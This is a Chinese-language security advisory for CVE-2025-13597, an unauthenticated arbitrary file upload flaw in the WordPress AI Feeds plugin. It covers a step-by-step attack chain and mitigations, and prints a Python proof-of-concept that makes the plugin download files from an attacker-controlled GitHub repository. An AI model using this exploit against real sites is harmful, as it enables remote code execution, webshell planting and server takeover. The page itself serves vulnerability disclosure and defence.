IPBUF安全漏洞报告
English
CVE-2025-13597 CVSS 9.8 严重

CVE-2025-13597 WordPress AI Feeds插件任意文件上传漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-13597
漏洞类型
任意文件上传/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress AI Feeds插件

相关标签

CVE-2025-13597WordPress插件漏洞任意文件上传远程代码执行AI Feeds无需认证CVSS 9.8权限绕过

漏洞概述

CVE-2025-13597是WordPress AI Feeds插件中的一个严重安全漏洞。该漏洞存在于插件的actualizador_git.php文件中,由于缺少适当的权限检查和输入验证,攻击者可以在未经认证的情况下利用此漏洞。攻击者可以通过构造恶意请求,指定任意GitHub仓库地址,插件会从指定的仓库下载文件并覆盖服务器上的插件文件。这种文件覆盖机制允许攻击者用恶意代码替换合法的插件文件,从而在受影响的WordPress站点上实现远程代码执行(RCE)。由于该漏洞的CVSS评分高达9.8,且无需认证即可利用,因此被评定为严重(Critical)级别,对所有使用该插件的WordPress站点构成重大威胁。

技术细节

该漏洞的根本原因在于actualizador_git.php文件没有进行任何权限验证和输入过滤。攻击者可以通过HTTP请求直接调用该文件,指定一个包含恶意PHP代码的GitHub仓库URL。插件会执行以下操作:1)接收攻击者提供的GitHub仓库URL参数;2)从该URL下载仓库内容;3)将下载的文件写入插件目录,覆盖原有文件。由于插件目录通常具有Web服务器写权限,攻击者可以成功写入webshell或其他恶意代码。一旦恶意代码被写入,攻击者只需访问该文件即可在服务器上执行任意命令。漏洞影响所有1.0.11及以下版本的AI Feeds插件。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress站点是否安装并启用AI Feeds插件(版本<=1.0.11)
STEP 2
步骤2
攻击者准备一个包含恶意PHP代码的GitHub仓库,如webshell或反向shell脚本
STEP 3
步骤3
攻击者向目标站点的actualizador_git.php文件发送HTTP请求,通过repo参数指定恶意GitHub仓库地址
STEP 4
步骤4
插件从攻击者指定的GitHub仓库下载文件,由于缺少验证,直接将恶意文件写入插件目录
STEP 5
步骤5
恶意PHP文件被成功写入后,攻击者通过HTTP请求访问该文件,在服务器上执行任意命令
STEP 6
步骤6
攻击者获得服务器的完全控制权,可以窃取数据、安装后门或进一步渗透网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13597 PoC - WordPress AI Feeds Plugin Arbitrary File Upload # Target: WordPress site with AI Feeds plugin <= 1.0.11 # Attack: Upload malicious file via actualizador_git.php import requests import argparse def exploit(target_url, github_repo): """ Exploit the arbitrary file upload vulnerability in AI Feeds plugin. Args: target_url: Base URL of the vulnerable WordPress site github_repo: GitHub repository URL containing malicious payload """ # Construct the vulnerable endpoint endpoint = f"{target_url}/wp-content/plugins/ai-feeds/actualizador_git.php" # Parameters for the exploit params = { 'repo': github_repo, # Attacker's GitHub repo with malicious files 'branch': 'main' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting endpoint: {endpoint}") print(f"[*] Using GitHub repo: {github_repo}") try: # Send the exploit request response = requests.get(endpoint, params=params, timeout=30) if response.status_code == 200: print("[+] Request successful - files may have been uploaded") print(f"[*] Response: {response.text[:500]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.RequestException as e: print(f"[-] Error: {e}") def main(): parser = argparse.ArgumentParser(description='CVE-2025-13597 Exploit') parser.add_argument('-t', '--target', required=True, help='Target WordPress URL') parser.add_argument('-r', '--repo', required=True, help='GitHub repo with malicious files') args = parser.parse_args() exploit(args.target, args.repo) if __name__ == '__main__': main() # Usage: # python cve-2025-13597.py -t http://target.com -r https://github.com/attacker/malicious-repo

影响范围

AI Feeds插件 <= 1.0.11

防御指南

临时缓解措施
在官方安全补丁发布之前,建议立即采取以下临时缓解措施:1)删除wp-content/plugins/ai-feeds/目录;2)使用.htaccess或nginx配置阻止对actualizador_git.php文件的访问;3)临时禁用AI Feeds插件;4)部署WAF规则检测和阻止包含repo参数的异常请求;5)加强服务器监控,及时发现可疑的文件修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表